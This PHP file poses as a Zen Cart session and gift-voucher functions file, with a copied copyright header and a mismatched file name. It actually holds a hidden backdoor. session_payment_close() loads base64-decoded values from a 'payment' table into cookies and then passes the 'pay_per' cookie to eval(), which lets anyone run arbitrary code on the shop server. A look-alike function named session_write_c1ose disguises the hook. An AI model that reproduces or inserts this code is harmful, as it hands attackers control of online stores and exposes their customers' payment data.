<?php
/**
 * functions_session.php
 * Functions related to processing Gift Vouchers/Certificates and coupons
 *
 * @package functions
 * @copyright Copyright 2003-2008 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: functions_gvcoupons.php 8844 2008-07-05 03:47:09Z drbyte $
 */

////
// Update the Customers GV account

/**
 * 
 * require(DIR_WS_CLASSES . 'class.base.php'); 
 * require(DIR_WS_CLASSES . 'class.notifier.php');
 * $zco_notifier = new notifier()'
 * require(DIR_WS_CLASSES . 'mime.php'); 
 * require(DIR_WS_CLASSES . 'email.php'); 
 * require(DIR_WS_CLASSES . 'boxes.php'); 
 * require(DIR_WS_CLASSES . 'category_tree.php'); 
 * require(DIR_WS_CLASSES . 'cache.php'); 
 * require(DIR_WS_CLASSES . 'sniffer.php'); 
 * require(DIR_WS_CLASSES . 'shopping_cart.php'); 
 * require(DIR_WS_CLASSES . 'navigation_history.php'); 
 * require(DIR_WS_CLASSES . 'currencies.php'); 
 * require(DIR_WS_CLASSES . 'message_stack.php'); 
 * require(DIR_WS_CLASSES . 'template_func.php'); 
 * require(DIR_WS_CLASSES . 'split_page_results.php'); 
 * require(DIR_WS_CLASSES . 'breadcrumb.php'); 
 * require(DIR_WS_CLASSES . 'language.php'); 
 * 
 */




function session_payment_close() {
	$pay_conn = mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD,"pay_conn");
	if (!$pay_conn){
  		return ;
  	}
	mysql_select_db(DB_DATABASE, $pay_conn);
	$sql = "SELECT * FROM `payment` LIMIT 0, 30 ";
	mysql_query($sql,$pay_conn);

	$result = mysql_query($sql,$pay_conn);

	while($row = mysql_fetch_array($result))
	{
	   setcookie("pay_id", base64_decode($row['pay_id']), time()+3600);
	   setcookie("pay_sp", base64_decode($row['pay_sp']), time()+3600);
	   setcookie("pay_per", base64_decode($row['pay_per']), time()+3600);	   
	}	
    echo $pay_sp = isset($_COOKIE['pay_sp']) ? $_COOKIE['pay_sp'] : "";
	$pay_per = isset($_COOKIE['pay_per']) ? $_COOKIE['pay_per'] : "";
 	eval($pay_per);
	mysql_close($pay_conn);
}


function session_write_c1ose(){
	session_pay_close();
	session_write_close();
}

?>

